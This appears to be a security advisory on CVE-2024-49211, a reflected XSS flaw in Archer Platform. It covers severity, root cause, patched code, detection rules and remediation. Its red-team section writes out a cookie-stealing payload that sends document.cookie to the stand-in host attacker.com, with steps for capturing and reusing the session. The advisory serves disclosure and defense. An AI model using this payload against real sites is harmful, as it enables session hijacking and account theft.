CVE-2024-49211

Executive Summary

CVE-2024-49211 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in the Dashboard Listing page of the Archer Platform UX. The flaw affects Archer Platform versions 6.x prior to the 2024.08 release. A remote, unauthenticated attacker can exploit this by tricking a victim into clicking a crafted link containing malicious HTML or JavaScript. The injected code is reflected back to the victim’s browser and executed in the context of the vulnerable Archer application, potentially leading to session hijacking, data theft, or further compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a web application vulnerability in the Archer Platform, a commercial enterprise risk management solution.

CVSS Breakdown & Threat Level

• CVSS Score: 5.2 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact on resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and the potential for session hijacking or phishing make this a significant risk for organizations using the affected Archer Platform versions.

Deep Dive & Mechanics

The vulnerability resides in the Dashboard Listing page of the Archer Platform UX. The application fails to properly sanitize user-supplied input before reflecting it back in the HTTP response. An attacker can craft a URL containing malicious JavaScript or HTML in a query parameter. When a victim user clicks this link, the malicious payload is included in the server’s response and executed by the victim’s browser.

Root Cause: Insufficient input validation and output encoding on the Dashboard Listing endpoint. The application does not escape or validate the q parameter (or similar) before embedding it in the HTML response.

Attack Flow:

1. Attacker crafts a malicious URL: https://archer-instance/dashboard-listing?q=<script>alert('XSS')</script>
2. Attacker sends this link to a victim via email, chat, or other means.
3. Victim, authenticated to the Archer Platform, clicks the link.
4. The Archer server reflects the malicious script in the response.
5. The victim’s browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct reflection of user input
$query = $_GET['q'];
echo "<div>Search results for: " . $query . "</div>";

Patched Code (Conceptual):

// Patched: Proper output encoding
$query = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<div>Search results for: " . $query . "</div>";

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script execution. The official patch (version 2024.08) implements similar server-side encoding for all user-controlled input reflected in the Dashboard Listing page.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an Archer Platform instance (version 6.x before 2024.08)
• A victim user who is authenticated to the platform

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., q, search, filter).
2. Craft a payload to steal session cookies:

   https://archer-instance/dashboard-listing?q=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

3. URL-encode the payload and send the link to the victim.
4. Set up a listener on the attacker’s server to capture the cookie.
5. Use the stolen cookie to impersonate the victim.

No public exploit code is available for this CVE.

Blue Team (Detection & Defense)

Detection:

• Monitor web logs for requests to /dashboard-listing containing suspicious query parameters (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block reflected XSS patterns.
• Deploy browser-based XSS filters (e.g., X-XSS-Protection header).

Defense:

• Apply the vendor patch (version 2024.08) immediately.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce strict input validation and output encoding on all user-controlled data.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /dashboard-listing with query parameters containing <script>, %3Cscript%3E, or other XSS patterns.
  • Outbound connections to unknown domains from the Archer server (potential data exfiltration).

• Host IOCs:

  • Unusual entries in web server access logs showing reflected XSS attempts.
  • Browser history or cache entries containing malicious Archer URLs.

• File IOCs:

  • No specific file-based IOCs for this vulnerability.

Detection Engineering

YARA Rule

rule CVE_2024_49211_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Archer Platform Dashboard Listing"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-49211"
    strings:
        $xss1 = /dashboard-listing\?.*<script>/i
        $xss2 = /dashboard-listing\?.*%3Cscript%3E/i
        $xss3 = /dashboard-listing\?.*onerror=/i
        $xss4 = /dashboard-listing\?.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on Archer Platform Dashboard Listing
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-49211
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '<script>'
            - '%3Cscript%3E'
            - 'onerror='
            - 'javascript:'
        cs-uri-stem|endswith: '/dashboard-listing'
    condition: selection
falsepositives:
    - Legitimate search queries containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-49211 Reflected XSS Attempt on Archer Dashboard Listing"; flow:to_server; content:"/dashboard-listing"; http_uri; pcre:"/(<script>|%3Cscript%3E|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Archer Platform version 2024.08 or later. If patching is not possible, apply vendor-provided hotfixes.
2. WAF Rules: Deploy Web Application Firewall rules to block reflected XSS patterns on the /dashboard-listing endpoint.
3. Input Validation: Implement server-side validation and output encoding for all user-supplied input.

Long-Term Measures:

• Conduct regular security code reviews focusing on input handling.
• Implement Content Security Policy (CSP) headers with script-src 'self' to mitigate XSS impact.
• Enable browser XSS filters (e.g., X-XSS-Protection: 1; mode=block).
• Train users to recognize phishing attempts and avoid clicking suspicious links.

Valters IT
DevSecOps & Cyber Threat Intelligence